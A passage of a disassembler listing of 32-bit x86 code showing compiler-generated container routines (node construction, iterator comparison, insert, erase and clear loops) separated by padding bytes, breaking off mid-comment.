--------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4150F0 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401ED8 sub_4150F0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415130 proc near ; CODE XREF: sub_401726j arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401ED8 sub_415130 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016D6 mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_401735 mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151B0 proc near ; CODE XREF: sub_401582j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40146F mov edx, [esi+4] mov ecx, esi push edx call sub_401CE9 sub_4151B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415220 proc near ; CODE XREF: sub_4012E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401DBB mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415220 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415260 proc near ; CODE XREF: sub_401D9Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401DBB mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415290 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D9D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40217B sub_415290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152D0 proc near ; CODE XREF: sub_401258j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401D70 test al, al jz short loc_41535D push edi mov edi, [esp+14h+arg_0] loc_41530F: ; CODE XREF: sub_4152D0+8Aj lea ecx, [esp+14h+var_C] call sub_401FC3 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415341 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401578 mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- jmp short loc_41534A ; --------------------------------------------------------------------------- loc_415341: ; CODE XREF: sub_4152D0+4Ej lea ecx, [esp+14h+var_C] call sub_4020C2 loc_41534A: ; CODE XREF: sub_4152D0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401D70 test al, al jnz short loc_41530F pop edi loc_41535D: ; CODE XREF: sub_4152D0+38j pop esi add esp, 0Ch retn 4 sub_4152D0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153A0 proc near ; CODE XREF: sub_401E38j push esi mov esi, ecx call sub_401ED3 mov eax, esi pop esi retn sub_4153A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153C0 proc near ; CODE XREF: sub_401FC3j mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_4153C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153E0 proc near ; CODE XREF: sub_4020C2j push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4153E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415410 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 neg al sbb eax, eax inc eax retn 4 sub_415410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415440 proc near ; CODE XREF: sub_401F23j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C8F sub_415440 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415480 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E33 sub_415480 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154F0 proc near ; CODE XREF: sub_401992j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401249 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401CDA mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_4154F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415530 proc near ; CODE XREF: sub_402257j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401CDA mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415530 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415560 proc near ; CODE XREF: sub_401F0Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402257 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AAA sub_415560 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155A0 proc near ; CODE XREF: sub_401933j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4155A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155F0 proc near ; CODE XREF: sub_401154j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401AEB test al, al jz short loc_41567D push edi mov edi, [esp+14h+arg_0] loc_41562F: ; CODE XREF: sub_4155F0+8Aj lea ecx, [esp+14h+var_C] call sub_4011D1 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415661 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_4010DC mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- jmp short loc_41566A ; --------------------------------------------------------------------------- loc_415661: ; CODE XREF: sub_4155F0+4Ej lea ecx, [esp+14h+var_C] call sub_4018C5 loc_41566A: ; CODE XREF: sub_4155F0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401AEB test al, al jnz short loc_41562F pop edi loc_41567D: ; CODE XREF: sub_4155F0+38j pop esi add esp, 0Ch retn 4 sub_4155F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156C0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E97 mov eax, esi pop esi retn sub_4156C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156E0 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402144 add esp, 4 retn sub_4156E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415700 proc near ; CODE XREF: sub_4018C5j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415730 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EC4 neg al sbb eax, eax inc eax retn 4 sub_415730 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415760 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DB6 sub_415760 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157A0 proc near ; CODE XREF: sub_4014BFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B mov edx, [esi+4] mov ecx, esi push edx call sub_401F14 sub_4157A0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415810 proc near ; CODE XREF: sub_401901j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401BCC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D7A mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415850 proc near ; CODE XREF: sub_40114Aj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D7A mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415880 proc near ; CODE XREF: sub_401410j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401D11 sub_415880 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158C0 proc near ; CODE XREF: sub_401C76j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B pop esi add esp, 0Ch retn sub_4158C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_40214Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401339 test al, al jz short loc_41599D push edi mov edi, [esp+14h+arg_0] loc_41594F: ; CODE XREF: sub_415910+8Aj lea ecx, [esp+14h+var_C] call sub_40135C mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415981 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401EBF mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41598A ; --------------------------------------------------------------------------- loc_415981: ; CODE XREF: sub_415910+4Ej lea ecx, [esp+14h+var_C] call sub_40118B loc_41598A: ; CODE XREF: sub_415910+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401339 test al, al jnz short loc_41594F pop edi loc_41599D: ; CODE XREF: sub_415910+38j pop esi add esp, 0Ch retn 4 sub_415910 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159E0 proc near ; CODE XREF: sub_402275j push esi mov esi, ecx call sub_401E42 mov eax, esi pop esi retn sub_4159E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A00 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017E4 add esp, 4 retn sub_415A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A20 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BCC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415A20 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A50 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401456 neg al sbb eax, eax inc eax retn 4 sub_415A50 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A80 proc near ; CODE XREF: sub_40113Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_40175D mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415A80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AC0 proc near ; CODE XREF: sub_4016D6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_40175D mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415AC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415AF0 proc near ; CODE XREF: sub_40217Bj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C62 mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401ED8 sub_415AF0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401F19 add esp, 4 mov ecx, esi push eax call sub_4021B7 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401DBB mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415B90 proc near ; CODE XREF: sub_401735j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CBC test al, al jz short loc_415BDD push edi mov edi, [esp+8+arg_0] loc_415BAA: ; CODE XREF: sub_415B90+4Aj lea ecx, [esp+8+arg_4] call sub_401A5F push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40217B ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_40210D lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CBC test al, al jnz short loc_415BAA pop edi loc_415BDD: ; CODE XREF: sub_415B90+13j pop esi retn 0Ch sub_415B90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C10 proc near ; CODE XREF: sub_401FCDj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401578 mov ecx, eax call sub_401C62 mov esi, eax push esi call sub_4020A9 push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_4020A9 mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F19 add esp, 1Ch mov ecx, edi push eax call sub_401500 push esi mov ecx, edi call sub_401CE9 sub_415C10 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CD0 proc near ; CODE XREF: sub_40146Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jz short loc_415D2A loc_415CE8: ; CODE XREF: sub_415CD0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401578 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jnz short loc_415CE8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415D2A: ; CODE XREF: sub_415CD0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415CD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415D60 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020F4 sub_415D60 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415D75 mov edi, esi loc_415D75: ; CODE XREF: ___:00415D71j push esi call sub_4020A9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415D8A mov edi, esi loc_415D8A: ; CODE XREF: ___:00415D86j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DB0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E1A sub_415DB0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DD0 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415DD0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DF0 proc near ; CODE XREF: sub_401F19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415DF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E10 proc near ; CODE XREF: sub_401ED3j mov eax, ecx retn sub_415E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E30 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40175D mov eax, esi pop esi retn 4 sub_415E30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E60 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020C2 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E90 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415E90 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415EC0 proc near ; CODE XREF: sub_401AAAj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F8C mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C8F sub_415EC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402144 add esp, 4 mov ecx, esi push eax call sub_4015F0 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401CDA mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415F60 proc near ; CODE XREF: sub_4017E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F8C mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402144 add esp, 1Ch mov ecx, edi push eax call sub_401D61 push esi mov ecx, edi call sub_401E33 sub_415F60 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416020 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jz short loc_41607A loc_416038: ; CODE XREF: sub_416020+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jnz short loc_416038 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41607A: ; CODE XREF: sub_416020+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416020 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4160B0 proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015AF sub_4160B0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4160C5 mov edi, esi loc_4160C5: ; CODE XREF: ___:004160C1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_4160DA mov edi, esi loc_4160DA: ; CODE 